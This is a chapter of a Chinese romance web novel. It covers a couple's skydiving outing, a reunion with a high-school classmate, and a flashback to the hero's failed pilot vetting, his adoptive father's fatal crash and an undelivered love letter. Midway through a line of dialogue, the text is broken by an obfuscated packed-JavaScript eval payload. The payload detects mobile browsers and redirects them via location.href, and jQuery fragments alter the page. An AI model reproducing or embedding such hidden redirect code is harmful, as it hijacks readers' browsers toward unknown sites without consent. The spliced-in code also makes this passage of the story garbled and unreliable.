盛夏的寒冬
早上七点半，姜至闭着眼睛伸手往左边摸了摸，旁边的被窝已经凉了，她睁开眼，李惟钧不在房间，她的脏衣服已经被洗净烘干摆在床尾。
以及那条黑色的拳击裤和昨晚换下来的第二条床单。
姜至瞬间不困了，掀起被子盖住脑袋。
李惟钧一进屋就看见一条蚕宝宝在床上扭动，床尾的衣服，黑色拳击裤和床单被她踢到了床下。
“做梦踢我呢？”他把东西捡起来，单手把蚕揽到臂弯里，拨开被子，露出姜至乱糟糟的脑袋，“睡够了就出去吃早饭。”
或许是刚睡醒，姜至的身体依然像是躺在一片软绵绵的云彩上，不得不说，他哄人的手段太高超了。
她眨眨眼，“我才没有做梦踢你好吧。”
“嗯，你没有，你昨晚睡之前就踢过我的脸。”
姜至捂住他的嘴，又想起昨晚那兵荒马乱的场景，羞愤无比：“我要换衣服了！”
“现在就出发去基地跳伞？”
“外面阳光不错，你觉得这会儿适合吗？”
“应该没问题。”李惟钧松开她，起身，“你先收拾，我给基地打个电话，新的洗漱用品给你放在洗漱台上了。”
“哎！外头有人吗？”她轻声说。
李惟钧笑了下，弯下腰，用同样的声调，“这会儿开始不好意思了？我说要给你在楼上开间房你不让。”
姜至仰躺在床上，蒙着脸，像昨晚一样踹了他一脚，只不过这次不是在脸上，而是在他腹肌上，闷声说：“李惟钧，你变了！”
李惟钧被赶出来，往基地打了通电话，飞跃是西途为数不多的直升机跳伞基地，七八月份来跳伞的人最多，九月份正好是淡季，基地这会儿没有约顾客，正好可以腾出一个上午带姜至跳伞。
到地方，李惟钧先带着姜至去了趟办公室，她特意让他在基地找了一套颜色比较鲜亮的新衣服，跳伞时录视频会很好看。
开直升机的人还没到，李惟钧把所有需要用到的装备拿上，又在基地里检查了一圈，正和教练商量什么时候闭店合适，听见前台有人喊：“维哥！”
李惟钧侧了侧头，瞧见一个人高马大，剃着寸头的男人进来，“今天休假？”
窦维“嗯”了声，大剌剌往沙发上一坐，懒散道：“你怎么有空来基地，公司不忙？咱俩待会儿正好吃个饭去啊。”
李惟钧想了想，“等我问问。”
“就咱俩，还问谁啊？”
周围的人一个劲儿往他办公室瞥，李惟钧想起来部队平时不发手机，说：“姜至。”
“姜至？”窦维蹙着眉嘟囔了句，“怎么这么熟悉呢？”
隔了几秒，他瞠目结舌，“咱们高中同学啊？眼睛特大那女生？她来西途了？”
李惟钧不紧不慢道：“姜至现在是我女朋友。”
窦维愣住，这个消息劈头盖脸朝他一砸，成功把他砸懵了。这俩人，八竿子打不着吧，就连他跟李惟钧也是因为高三参加招飞才熟悉起来的，当了那么久同桌都没说过几句话。
窦维坐在沙发上琢磨半天才琢磨明白“女朋友”这仨字什么意思，“啊？是正式的女朋友吗？”
李惟钧瞟了他一眼，没再说话。
太玄幻了，世界之大无奇不有，他要是今天不说，窦维觉得自己永远不可能把姜至李惟钧这两个人联系在一起，足足缓了半天才消化掉这个消息。
“谈多久了？”他问。
“126天。”李惟钧说。
“你记得还真清楚……”窦维吓了一跳，“她来西途玩啊？你俩怎么好上的？”
李惟钧选择性回答了前一个问题：“来支教。”
“多久啊？等她支完教还得回清潭吧。”窦维问：“你跟她一块儿回？”
李惟钧没吭声。
窦维又问：“还是她留在这儿？”
李惟钧说：“看她吧。”
“不是吧，”窦维又被他吓住了，“她走你走，她留你留？那基地呢？公司和民宿呢？我没看出来啊李惟钧，你居然有恋爱脑的潜质。”
最后那句让李惟钧莫名笑了，“没办法啊，谁让我喜欢她呢。”
“……好恶心，你别笑了。”
李惟钧敛起笑，正色道：“以后的事情谁也说不准，先过好现在吧。”
“我不信。”窦维撇撇嘴，“你俩这才谈了多长时间。”
李惟钧的眼神很柔和，“但是我喜欢她的时间很长了。”
窦维还没问话，姜至换好衣服从办公室出来，她在屋里化了个淡妆，抬眼，刚要找李惟钧，就看见他旁边坐了个男人，五官硬朗，跟他身形差不多，气质上比他多了几分凌厉。
李惟钧走过去，“收拾好了？”
“窦维？”姜至拽住他的手臂，悄声问：“那是咱们高中同学吗？”
……
跳过伞，三个人到附近找了个餐厅一起吃饭，窦维军校毕业后一直在部队待着，假期不多，所以也没回清潭参加过同学聚会，姜至跟他也不算太熟悉，她跟班里的男生大多都是泛泛之交，如果不是李惟钧，她大概都不会有和窦维在一张饭桌上说话的机会。
趁李惟钧去吧台拿饮料，窦维八卦道：“我是真没想过你俩能在一块儿，都是缘分啊！”
姜至含笑望着李惟钧的背影，“我也没想到，他高中是有点话少。”
“何止是话少，”窦维说：“除了下课打球能多聊几句以外，平时我们在教室都没怎么聊过天，跟他坐同桌可给我憋死了！他除了做题就是做题，我也不好意思打搅他。”
姜至忍不住笑。
“真的，高三招飞我跟他才熟起来，咱们班不是只有我们俩体检过关了吗。”
说到这儿，姜至才想起来这件事，“那是怎么回事？他最后不是没当上飞行员吗。”
“挺复杂的，”窦维说：“他是政审的时候被刷了。”
看见姜至表情怔住，窦维的心咯噔一跳，“你不知道啊……”
姜至不知道。
除了窦维和班主任以外，班里没人知道李惟钧为什么没当飞行员。
*
2012年11月，李惟钧和姜至开始读高三，清潭也开启了招飞计划。
空军招飞尤为难得，对于李惟钧来说，这更是一个不可多得的机会，当飞行员上军校就意味着他可以给李承良减轻一些压力和负担。
多亏了小时候经常给李承良干活，所以李惟钧的体力在高中生里还算不错，身体素质也很好，过年之前顺利通过了体检，整个高三最终只有4个人进到复试。大家都说过了体检就稳了，后面绝对会很顺利。
班里同学非常羡慕，谁愿意每天起早贪黑考试刷题呢？六点钟的清潭实在是看烦了，起得比鸡早的日子也实在是过够了。
寒假过后，2013年1月，李惟钧着手准备复试，班主任特意准了他和窦维的假，他们俩不用上课，经常在所有学生艳羡的目光里自由出入学校整理政审材料。
交完材料后有一个月的审核时间，窦维彻底放飞自我了，十分清闲，李惟钧却没有。
他照旧坐在教室里刷题，认真程度甚至要超过招飞之前。
窦维很不理解，经常磨着李惟钧想让他一块去打球，说破了嘴皮子，他依然头也不抬，偶然间抬眼，也只是不经意从前排姜至的位置上掠过去。
她没停笔，他也接着低下头。
题目看上去很复杂，却并不难解，他的解题思路很清晰，脑子里却是混乱的。
当飞行员上军校不止意味着帮李承良减轻压力，也意味着失去自由的时间，失去他喜欢的，外面的一切。
李惟钧还记得交完政审材料之后的某一天，他从家赶回学校，进校门时正好碰上姜至返校，几天没见，她似乎清瘦了一圈，脸色略苍白。
两个人一同进校门，姜至打了个长长的哈欠，“你怎么还来学校啊？不是都要进部队了吗？”
照理说是不用来了，安心等结果就好，班主任也说可以暂时不用来学校，李惟钧说：“还没政审呢，得来。”
“哎，你跟窦维也太幸福了，后面不用在学校受煎熬。”
李惟钧盯着她手背上的棉絮：“你病了？”
她点点头，“发烧了。”
“还没好透吧，”李惟钧说：“怎么不多休几天呢？”
“怎么能？老班说多做一道题就能多拿一分干掉一万人呢。”
李惟钧想到了很多话，但似乎说什么都不太合适，只好说：“加油。”
“你也是啊，”姜至顿了顿，“哦不对，应该是恭喜。”
她笑笑：“提前恭喜你了！”
李惟钧也浅笑着，“谢谢。”
到最后，想问的问题也没有问出口，怎么不问问姜至要去哪所大学呢？
李惟钧不知道。
3月，草长莺飞，渐渐有男生穿短袖了，但能看得出大家都很疲倦，也很浮躁，老师们反复强调坚持坚持再坚持，熬过这段时间高考结束，未来就自由了。
招飞也已经到了定选阶段，过了定选，他两只脚就可以稳稳当当踏进军校大门。
然而，李惟钧左等右等，等到所有人的定选都尘埃落定，才等来了属于自己的结果——
政审没通过。
他忘记了，李承良曾经坐过牢，虽然是被坑进去的，也很快被捞了出来，但还是留下了无法抹去的污点。
乐极生悲，李惟钧也不知道该作何反应，只是压着眉眼坐在那里，一动不动。
或许该难受，又或许该遗憾吧，到手的好机会就这样从指缝里溜走了，并且没有任何办法挽留，父亲有案底所以以后他再也没办法从事那些行业，可他怨不了李承良，也不能怨。
部队政审人员也很遗憾，李惟钧综合素质非常好，但这改变不了什么。
李承良苍老干裂的双手攥起来，苦着脸问：“真的不能再通融通融吗？他是他我是我，我犯的错怎么能归到他身上呢。”
“这个真没办法……”他们面带怜惜，看向李惟钧：“同学，离高考还有一段时间呢，别气馁，你成绩这么好，人生肯定不止这一条路可以走。”
李惟钧沉默着点点头，最后，政审人员正欲离开，李承良才颤着声叫住他们，看着李惟钧，叹了口气，咬牙说：“他不是我的儿子。”
所有人都怔在原地。
李惟钧不可置信地望着他，他眼眶红着，脸色颓唐，“你五岁的时候我捡到的你，你不是我的亲儿子。”
李承良本来没打算这个时候说，十几年来也没跟任何人提过这件事，甚至也想过一直隐瞒下去，直到他死。但现在实在没办法了，孩子前途最重要，于是转头问他们：“他不是我亲生的，政审能过吗？”
震惊过后，他们还是摇头，用一种“可怜”的目光看着父子俩，说：“你们俩现在在一个户口本，关系是父子，这个改变不了，而且就算是养父，也不行的……”
他语无伦次地说：“我跟他解除关系，把他送走，就当他没我这个爸，从没见过我也不行？”
李惟钧拽着他，喊了声：“爸。”
小时候的记忆李惟钧已经记不起来什么了，这些年脑海里偶尔会闪回自己被人追着跑的画面，不过他从没在意过，也以为那只是梦。
一阵冷寂过后，李承良点了根烟，盯着地面，“我想着等你高中毕了业再说的……是我害了你。”
太阳穴突突跳着，脑袋很乱，像是要裂开，李惟钧感到一阵头晕目眩，跪在他面前，沉声说：“你养我长大，就是我亲爸。”
他扶起李惟钧，拍拍他膝盖上的土，“捡到你的时候你浑身都是伤，我报了警，但你醒过来之后什么都忘了，身上也没线索，我就养了你。你还有自己的亲生父母，该去找找他们，认祖归宗，没准儿就能接着去当飞行员了。”
李惟钧无力地摇了下头，眼神迷茫，“我没想过要走。”
能往哪里走呢？他还没有十八岁啊。
中国这么大，该怎么找？李承良给了他一条命，一块块25公斤的玻璃已经压弯了他的背脊，他省吃俭用养他长大，就是他的亲生父亲。
李惟钧低下头，眼睛突然很酸涩，闭了闭眼，脸颊落下两道热热的泪，“爸，我一辈子都是你儿子，以后我在你身边给你养老。当不了兵我还可以干别的，无论干什么，我一定会混出名堂。”
“那你亲生父母呢，没准他们也在找你。”
“我不知道，爸，等我有能力了会去找的。”
定选失败后，李惟钧收起了所有不甘和落寞，把全部心思都放在高考上，再回到学校，拿起试卷，他甚至隐隐有些庆幸。
庆幸是姜至的认真在谁也想不到的地方帮了他一把，庆幸是那点无人知晓的感情救了自己一次，命运或许早已暗示了他的招飞结局，所以派来姜至暗中帮他，让他不要荒废学业，好好做题。
好在他没有落下太多试卷，做题时手也不生，再一次模考过后，原来的位置还是他的。
就这样，高中剩下的每天都在刷题背书中度过，三个月后，高考如约而至。
考试前，很多学生都回家了，李承良也本想到市里订个宾馆，考前照顾照顾李惟钧，但班主任说这两天学校食堂的饭都是校长找营养师搭配的，而且在学校有校车接送，还是在学校比较方便，就没过来，两个人通了次电话，电话里，李承良说：“我找厂里人借一辆车，等你考完去
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15331446|162792||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
接你，顺便把行李都拉回家。”
“坐公交也行，你都多少年没开过车了。”
“没事，我驾龄二十年呢，车开得贼溜，而且我跟他们说好了，咱们快点回家找个好饭店，吃顿好的。”
李惟钧说：“行，就去吃火锅吧，你一直想吃的那个店。”
李承良说：“没问题！敞开肚皮，想喝酒就喝，反正也十八了，正好试试你的量是多少，心里有点数，省的后面大学毕业上了班之后被灌。”
李惟钧笑笑，“离我上班还早呢。”
“说快也快，一眨眼的事。”李承良说：“不耽误时间了，再去多看看书吧，等你考完试咱俩必须庆祝庆祝！”
“行，那我在我们宿舍楼下等着你，爸。”
2013年6月8号，高考结束。
很奇怪，每到高考结束，在盛夏到来之前，清潭必变一次天。
考完英语，明晃晃的日光被乌云挡住，湛蓝的天色一下变成了土黄色，看来要下大雨了。
夏季的清潭很少刮大风，李惟钧走出考场，闻到空气里湿漉漉的泥土味，阴风怒号，裸露在空气中的手臂还能感觉到细小的沙尘颗粒，风声中夹杂着复位桌椅的声音，这是高中阶段最后一次复位桌椅了，也是所有人最后一次整整齐齐坐到教室里上班会课了。
窦维没来学校，李惟钧旁边的位置是空的，他在沸反盈天的教室里独自坐在座位上，安安静静地掏出钢笔，信纸，信封，准备写一封构思了许久的信。
他在开头顶格写下“姜至：”。
然而，却卡壳了。
每一句话他在无数个深夜反复推敲过无数次，可真到了落笔到纸上这瞬间，都忘了。
他脑子里一片空白，手心也在冒汗，高考答题手都没有抖过，现在却紧张得握不住笔，越看越觉得“姜至”这两个字写得有点丑。
信纸被揉成皱巴巴得一团扔进书包，他又抽出一张新的，缓了缓神，重新写“姜至：”。
之前预想好的话还是忘了，李惟钧只能遵从本心，想到什么就写什么，然后小心翼翼把两张信纸折起来，放进信封里。
姜至在跟班长说笑，两个人正激烈地讨论着什么，应该是在说毕业旅行吧，她们约好了一起去玩，还约好了许多在正式迈入成人世界之前要做的事。
心里有道强烈的声音在驱使他：现在去送吧！马上！
心口剧烈的跳动让李惟钧长长吐了几口气，身体里所有细胞都在叫嚣着要他说出来，把所有心思说给她听，他一定要给自己的青春写下一个完美的结局，也要在姜至的青春结束前占据哪怕几分钟的记忆，片刻也行。他一定要递出那封信，痛快诚恳地告诉她：
姜至，我喜欢你。
李惟钧站起身，心如擂鼓，缓缓朝姜至走过去，十几年的人生中从未拥有过如此紧张的情绪，猛烈的悸动感快要把他整个人吞没了。
看着姜至的侧脸，李惟钧想，他不是一个幸运的人，从小被拐卖，后来磕磕绊绊长大，又经历了招飞失败，很少拥有过什么幸运时刻，2010 年见到姜至第一面的盛夏算一次，他希望能再被命运眷顾一次，迎来第二个幸运的盛夏。
但他还是没能把信送出去。
站在门口的班主任面色凝重地朝他招招手，信被揣进口袋，李惟钧走过去，浑浑噩噩听完了她那句话，浑浑噩噩坐上了去医院的公交，浑浑噩噩见到了李承良最后一面。
命运没有眷顾他。
李承良在来的路上出了车祸，秋谷已经开始下大雨了，盘山公路上，两辆车迎面相撞，驾龄二十年的李承良没能躲过去，后备箱满满两箱红彤彤的，给儿子吃的苹果在盘山公路上洒了一地，一个都没有给他留下。
暴雨过后，清潭变得风和日丽，李惟钧体面风光地送走了李承良，把所有东西都挪到爷爷在村里留下的那间老房子里，然后独自坐在空荡荡的堂屋，擦李承良的遗像。
遗像上的照片很年轻，是从身份证上抠下来的。
擦着擦着，光洁的玻璃上落下泪滴，李惟钧把照片抱在胸前，弓起身体跪在地上，磕了三个响头。
父子一场，到最后他们却没有一张合照。他该拿什么来想念这个伟大的父亲呢？
料理完所有后事，李惟钧把自己放空了很多天，每天都躺在屋里狭小的床上，感觉不到渴也感觉不到饿，浓烈的睡意让他过得昏昏沉沉，不知道自己接下来要干什么，没有去学校拿个人档案参加最后一次班会课，更没有参加谢师宴。
几天后，他接到班主任的电话，终于走出屋子见到了耀眼的太阳，剪掉积蓄起来的胡子，把自己收拾干净，吃了两口饭，去学校领了档案。
填领取单时，他的名字紧挨着姜至，就在她下面，李惟钧的手顿住，晃了晃神，她现在应该正在某个地方和朋友一块儿旅游吧，他盯着姜至娟秀的字，似乎还能在眼前刻画出她明媚的笑脸。
他想到那封没有被送出去的情书。
把宿舍里的行李都收拾好，李惟钧回了村，从校服裤子里翻出那封情书。许多天过去，这封信泡过雨水，已经变得皱皱巴巴了，难看得很。
喉咙一紧，李惟钧把刚才垫肚子的食物全吐了出来，紧跟着，胃里拧着攥着，火辣辣的疼，接连几天的饥饿过后，他很难再消化什么东西了。
就这样吧。
他额际冒出冷汗，擦掉眼中溢出的生理性泪水，喘着粗气看向地上那封被弄脏的信，脑海里重复盘旋着那句话，就这样吧。
2013年6月底，李惟钧到网吧填高考志愿，填好之后，鬼使神差地登上了Q.Q，打开空间。
满屏都是大家出门旅游聚餐的照片，他一目十行地滑下去，看到姜至发了一张二维码，写着：【加微加微！以后Q.Q不用啦！也该用点儿大人该用的成熟软件了！】
才刚十八，怎么就变大人了呢？李惟钧短促地笑了下，这么多天后这是他第一次在某个瞬间感到开心。
他没有注册微信，最后看了遍姜至的空间，关掉Q.Q，登上了去往西京的火车。
自此，头像便再也没有亮过，也与过去的一切断了联系。
火车飞逝，一中标志性的石英钟在眼前一闪而过，李惟钧突然又想起李承良，想起姜至，想起被他丢到垃圾桶里的情书，感觉全身都痛，心脏好像被撕扯成两半，快要窒息死掉了。怎么会这么疼呢？
他的青春不该是这样的结局啊！他觉得自己快要承受不住了，捂着脸，在极致的痛楚中泪如雨下。
盛夏刚刚降临在他的世界，短暂几天，就轰然闭幕了。
后面几年，他再没有过过任何一个夏天，直到2018年的2月14号，那个寒冬，姜至拉着行李箱，来到盛夏将至。